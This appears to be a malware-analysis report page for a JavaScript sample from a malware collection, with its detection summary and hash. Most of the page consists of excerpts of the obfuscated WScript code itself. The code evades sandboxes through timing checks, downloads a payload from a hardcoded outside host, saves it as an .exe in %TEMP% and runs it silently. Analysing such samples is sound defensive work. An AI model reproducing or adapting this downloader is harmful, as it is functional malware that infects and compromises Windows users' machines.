Suspicious ^66% javascript-malware-collection Download

20160328_b4175c2afe9014cbef56004f46854028.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-25669a3f63dfa6b2382a8964ecd75d7a42f2c3f81a0961c8dcda540341f8de03267

MaleculeK(Li)O₄(AlAs₄CXe)H₅(Cm₃Db₂FOs₂Po₄)

Evidence

UTC millisecond jitter sleep check lines 1–42

1var Fofmis = false;
2var Ywhxe = "CreateObject";
3var Mupkkxn = function Tzefvjlgq() {return WScript[Ywhxe]("WScript.Shell");}();
4var Tnawpzftgf = 123213;
5var Wwcnvrhqrc = "MSXML2.XMLHTTP";
6var Vhfpcc = 2123213;
7var Eqfmm = 0;
8function Yqsmbwme(Eysvf){Mupkkxn["Run"](Eysvf, Eqfmm, Eqfmm);};
9function Mqbyot(){return Wwcnvrhqrc;};
10function Umxcwi(Mesqfwqy, Sdumjxay){return Mesqfwqy - Sdumjxay;};
11function Phfdnupokd(){return Ywhxe;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Fofmis = true;
15  @end
16@*/
17var Oxgmk = "";
18if (Fofmis)
19{
20function Azxwgg(){return 22;};
21var Illclxvqd = 0; var Jvtyoabkwa = 0;
22function Enuumwsgnp()
23{
24var Paaoqkojv = new this["Date"]();
25var Kvnmdzbh = Paaoqkojv["getUTCMilliseconds"]();
26WScript["Sleep"](Azxwgg());
27var Paaoqkojv = new this["Date"]();
28var Bsjxhla = Paaoqkojv["getUTCMilliseconds"]();
29WScript["Sleep"](Azxwgg());
30var Paaoqkojv = new this["Date"]();
31var Jwxhsbsd = Paaoqkojv["getUTCMilliseconds"]();
32var Illclxvqd = "Qlkipmo";
33Illclxvqd = Umxcwi(Bsjxhla, Kvnmdzbh);
34var Jvtyoabkwa = "Haizmru";
35Jvtyoabkwa = Umxcwi(Jwxhsbsd, Bsjxhla);
36Oxgmk = "open";
37return Umxcwi(Illclxvqd, Jvtyoabkwa);
38}
39var Gdzhwympd = false;
40var Yuvltyjfad = false;
41for (var Pcpzkkxwnj = Eqfmm; Pcpzkkxwnj < Azxwgg() * 1; Pcpzkkxwnj++){if (Enuumwsgnp() != Eqfmm){
42Gd …

Contains a hardcoded insecure HTTP URL lines 49–75

49:6… dzhwympd && Jpged() && Yuvltyjfad){
50function Pskyyye() {return Mupkkxn["ExpandEnvironmentStrings"]("%TEMP%/") + "5mfjgQ70qFkmr.exe";};
51 Tnkbsywl = Mqbyot();
52 Pjhnz = WScript[Ywhxe](Tnkbsywl);
53 var Trvhats = 1;
54 while (Trvhats){
55try {
56Pjhnz[Oxgmk]("GET", "http://darjewellery.com/kwo9pa", false);
57Pjhnz["send"]();
58Rizxxojgpt = "Sleep";
59do {WScript[Rizxxojgpt](Azxwgg() * 11)} while (Pjhnz["readystate"] < 2 * 2);
60Trvhats = Eqfmm;
61} catch(Agjruzgug){Trvhats = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Lhmxx(Qwcomdl) {var Bwrire = (1, 2, 3, 4, 5, Qwcomdl); return Bwrire;};
64Dbvoljja = WScript[Phfdnupokd()]("ADODB.Stream");
65Tnkbsywl = Dbvoljja;
66Tnkbsywl[Oxgmk]();
67Tnkbsywl["type"] = Lhmxx(1);
68Tnkbsywl["write"](Pjhnz["ResponseBody"]);
69Dbvoljja["position"] = Lhmxx(Eqfmm);
70Tnkbsywl["Save" + "ToFile"](Pskyyye(), 2);
71Dbvoljja["close"]();
72Yqsmbwme(Pskyyye());
73}
74}
75